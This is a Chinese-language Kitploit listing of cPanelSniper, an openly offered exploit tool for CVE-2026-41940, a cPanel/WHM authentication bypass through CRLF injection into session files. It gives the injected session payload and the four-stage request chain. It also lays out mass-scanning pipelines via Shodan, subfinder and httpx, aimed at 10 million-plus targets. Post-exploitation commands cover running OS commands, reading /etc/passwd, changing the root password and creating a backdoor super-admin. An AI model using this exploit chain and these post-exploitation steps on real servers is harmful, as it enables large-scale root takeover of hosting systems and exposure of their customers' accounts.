Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cpsniper — cPanelSniper 稳定版 - CVE-2026-41940 针对 1000 万+ 目标优化 | Kitploit
工具/GitHubGitHub/44pie/cpsniper
身份验证与授权漏洞扫描器漏洞利用Web应用程序漏洞利用后渗透利用渗透测试命令与控制红队
GitHub44pie/cpsniper

cpsniper

cPanelSniper 稳定版 - CVE-2026-41940 针对 1000 万+ 目标优化

查看仓库
23个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — cPanel 与 WHM 通过会话文件 CRLF 注入实现认证绕过
4 阶段利用链 · 交互式 WHM Shell · 对 1000 万+ 目标真正稳定 · 零内存占用 · 仅依赖标准库


概述

cPanelSniper 是一个针对 CVE-2026-41940 的专项利用框架,该漏洞是影响 cPanel 与 WHM 的严重认证绕过漏洞。该漏洞允许未认证的远程攻击者通过 Authorization HTTP 头向会话文件注入 CRLF 序列,从而获得 root 级别的 WHM 访问权限——无需任何有效凭据。

  • CVSS 评分: 10.0(严重)
  • 野外利用情况: 已确认(2026 年 4 月)
  • 受影响安装量: 约 7000 万个运行 cPanel 与 WHM 的域名
  • 零依赖: 纯 Python 标准库——无需 pip、无需 requests、无需外部包

仅限授权渗透测试和漏洞赏金项目使用。


⚡ 真正稳定版本

此版本针对扫描 10,000,000+ 目标进行了优化,且零内存占用。

修复内容

主要特性

  • 流式架构 - 无需加载到内存即可处理 1000 万+ 目标
  • 零内存耗尽崩溃 - 即使目标列表非常庞大也不会崩溃
  • 自动断点续扫 - 使用 --resume 从上次中断处继续
  • 实时进度 - 预计完成时间、扫描速率、错误跟踪
  • 定期保存 - 结果自动保存以防止数据丢失
  • 管道就绪 - 与 subfinder、httpx、shodan 无缝配合

工作原理

根本原因位于 Session.pm 中:saveSession() 函数在将会话文件写入磁盘之后才调用 filter_sessiondata()。这意味着嵌入在 Authorization: Basic 头值中的 CRLF 字符会被原样写入会话文件,在净化处理之前注入攻击者控制的字段。

root@kitploit:~
正常流程:
  POST /login/ → filter_sessiondata() → 写入会话 → 认证检查

漏洞流程:
  POST /login/ → 写入会话(注入 CRLF 载荷)→ filter_sessiondata() → 认证检查读取被污染的文件

CRLF 载荷

Authorization: Basic 值解码后为:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

这些字段被直接写入磁盘上的会话文件。当读回时,cPanel 将会话视为完全认证的 root 会话。

4 阶段利用链

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  阶段 0 — 规范主机名发现                                     │
│  GET /openid_connect/cpanelid → 307 → 真实主机名            │
├─────────────────────────────────────────────────────────────┤
│  阶段 1 — 铸造预认证会话                                     │
│  POST /login/?login_only=1  (错误凭据)                     │
│  ← 401 + whostmgrsession cookie                             │
├─────────────────────────────────────────────────────────────┤
│  阶段 2 — CRLF 注入                                          │
│  GET / + Cookie: session + Authorization: Basic <载荷>      │
│  cpsrvd 将 CRLF 字段写入会话文件                             │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  阶段 3 — 传播(do_token_denied 小工具)                     │
│  GET /scripts2/listaccts                                    │
│  触发 raw→cache 刷新 — 注入字段变为生效状态                  │
│  ← 401 Token denied(预期行为)                              │
├─────────────────────────────────────────────────────────────┤
│  阶段 4 — 验证 WHM root 访问权限                             │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = 已被攻破        │
└─────────────────────────────────────────────────────────────┘

受影响版本


安装

root@kitploit:~
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

无需 pip 安装。仅需纯 Python 3.8+ 标准库。


使用方法

基本扫描

root@kitploit:~
# 单目标 — 仅扫描
python3 cPanelSniper.py -u https://target.com:2087

# 单目标 — 绕过后进入交互式 shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# 大型目标列表 — 1000 万+ 目标(真正稳定)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# 断点续扫被中断的扫描
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

利用后操作

root@kitploit:~
# 列出服务器上的所有 cPanel 账户
python3 cPanelSniper.py -u https://target.com:2087 --action list

# 执行操作系统命令
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# 获取服务器信息(主机名、负载、磁盘、MySQL 主机)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# 获取 cPanel 版本
python3 cPanelSniper.py -u https://target.com:2087 --action version

# 修改 root 密码
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# 交互式 WHM shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell

管道使用(大型列表真正稳定)

root@kitploit:~
# subfinder → httpx → 保存到文件 → 扫描 1000 万+ 目标
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# 从范围列表 - 处理数百万个域名
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Shodan 结果 - 大规模扫描
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# stdin 管道 - 仅适用于小型列表(<10 万)
echo "https://target.com:2087" | python3 cPanelSniper.py

# 多来源合并 → 大规模扫描
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

真正稳定的最佳实践

扫描 1000 万+ 目标时:

  1. 始终先保存到文件 - 大型列表不要直接使用管道

    root@kitploit:~
    # 良好 - 适用于 1000 万+ 目标
    httpx ... > targets.txt
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
    
    # 不佳 - 大型列表会崩溃
    httpx ... | python3 cPanelSniper.py
    
  2. 使用适当的线程数

    • 10-20 线程:10 万目标
    • 30-50 线程:100 万-1000 万目标
    • 50-100 线程:1000 万+ 目标
  3. 长时间扫描启用自动断点续扫

    root@kitploit:~
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
    

    如果被中断,只需使用 --resume 再次运行

  4. 监控进度

    • 实时显示预计完成时间
    • 每 60 秒保存一次结果
    • Ctrl+C 保留所有发现

交互式 WHM Shell

成功绕过后,--action shell 标志会进入交互式提示符:

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  版本: CVE-2026-41940 | 认证: CRLF 绕过
  输入 'help' 查看命令,'exit' 退出
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel 账户]  target.com:2087 (47 个用户)
    user01               域名: example.com    邮箱: [email protected]
    user02               域名: shop.com       邮箱: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [服务器信息]  https://target.com:2087
  主机名: srv01.target.com
  负载: 0.72 / 0.66 / 0.69
  版本: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [后门管理员已创建]
  目标    : https://target.com:2087
  用户名  : mitsec
  密码    : P@ss2026!
  配置文件: super_admin

[email protected] ▶ exit

Shell 命令


CLI 参考

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--resume]
                       [-o OUTPUT] [--no-color] [--save-interval N]

目标:
  -u, --url URL          单个目标 URL(例如 https://host:2087)
  -l, --list LIST        包含 URL 的文件(每行一个)
  --hostname HOSTNAME    覆盖规范 Host 头(自动发现)

扫描:
  -t, --threads N        并发线程数(默认:20)
  --timeout N            请求超时秒数(默认:15)
  --resume               从上次扫描断点续扫(跳过已处理目标)

输出:
  -o, --output FILE      将结果保存到 JSON 文件
  --no-color             禁用 ANSI 颜色
  --save-interval N      每 N 秒保存一次结果(默认:60)

Shodan 搜索语法

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

输出示例

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — cPanel 与 WHM 通过 CRLF 注入实现认证绕过
  4 阶段: 预认证 → CRLF 注入 → 传播 → 验证 → 利用后
  野外利用 | CVSS 10.0 | 作者 Mitsec (@ynsmroztas)

  配置:
   目标    : 1
   线程    : 10
   超时    : 15s
   操作    : list

14:46:22 [扫描] 正在启动 4 阶段利用链... https://target.com:2087
14:46:23 [信息] 已发现规范主机名: srv01.target.com
14:46:23 [步骤] 阶段 1/4 — 铸造预认证会话...
14:46:23 [  成功] 阶段1: 预认证会话 = :QFB4o8XENBqlr6U1...
14:46:23 [步骤] 阶段 2/4 — 通过 Authorization 头进行 CRLF 注入...
14:46:24 [  成功] 阶段2: HTTP 307 → token=/cpsess8493537756
14:46:24 [步骤] 阶段 3/4 — 触发 do_token_denied 小工具(raw→cache)...
14:46:25 [  成功] 阶段3: HTTP 401 — do_token_denied 小工具已触发
14:46:25 [步骤] 阶段 4/4 — 验证 WHM root 访问权限...
14:46:26 [已攻破] CVE-2026-41940 已确认 — WHM root 访问权限!
14:46:26 [已攻破]   Token    : /cpsess8493537756
14:46:26 [已攻破]   版本     : 11.130.0.6
14:46:26 [已攻破]   API URL  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] 正在执行利用后操作: list
14:46:27 [ API] listaccts → HTTP 200

  [cPanel 账户]  target.com:2087 (47 个账户)
    client01    域名: client01.com    邮箱: [email protected]
    client02    域名: client02.net    邮箱: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — 扫描完成
  耗时: 5.8s  ·  目标数: 1

  ⚡ 1 个易受攻击目标

  目标    : https://target.com:2087
  版本    : 11.130.0.6
  Token   : /cpsess8493537756
  API URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

技术细节

会话文件注入

注入的 Authorization: Basic 值(base64 解码后)包含 CRLF 序列,这些序列在 cPanel 会话文件中变成换行符:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

cPanel 的会话读取器将这些解析为合法的会话字段,从而授予完整的 root WHM 访问权限。

阶段 3 — do_token_denied 小工具

关键且常被忽视的步骤:在 CRLF 注入(阶段 2)之后,被污染的数据仅存在于原始会话文件中。对 /scripts2/listaccts 的请求会触发内部的 do_token_denied 处理器,该处理器将原始会话数据刷新到会话缓存中。如果没有这次刷新,阶段 4 将返回 403。

会话 Token 提取

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- ob 哈希(已剥离)
                              +-- 会话名称(用于注入)

会话名称(%2C 之前的部分)被提取出来,用作后续请求的 cookie 值。


参考资料

  • watchTowr Labs — CVE-2026-41940 技术分析
  • cPanel 安全公告
  • NVD — CVE-2026-41940
  • Hadrian 博客 — CVE-2026-41940 分析
  • Nuclei 模板 — CVE-2026-41940

免责声明

此工具仅用于授权安全测试和漏洞赏金项目。未经授权访问计算机系统属于违法行为。作者不承担任何责任,也不对因使用此工具造成的任何滥用或损害负责。测试前务必获得适当的书面授权。


作者

Mitsec — @ynsmroztas

  • 🏆 Intigriti 顶级黑客
  • 🐛 已披露 2,430+ 个漏洞
  • 💀 1,100+ 个 P1 严重发现
  • 🏅 100+ 次名人堂认可

由 @ynsmroztas 用 ❤️ 制作

下载工具
问题原始版本修复版本
内存占用将所有目标加载到内存逐行流式处理目标(0 内存)
1000 万目标内存耗尽 → 被终止 ❌顺利完成 ✅
断点续扫不支持--resume 标志
进度显示无预计完成时间实时预计完成时间 + 速率 + 统计
结果保存仅在结束时保存每 60 秒保存(可配置)
分支受影响版本已修复版本
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
命令描述
id / whoami显示 UID 和主机名
hostname获取服务器主机名
versioncPanel 版本信息
info负载、磁盘、MySQL 主机、版本
accounts列出所有 cPanel 用户账户
cat <path>读取文件内容
ls [path]列出目录
exec <cmd>执行操作系统命令
addadmin <user> <pass>创建后门 WHM 管理员
passwd <pass>修改 root 密码
api <endpoint> [k=v ...]原始 WHM JSON API 调用
help显示所有命令
exit退出 shell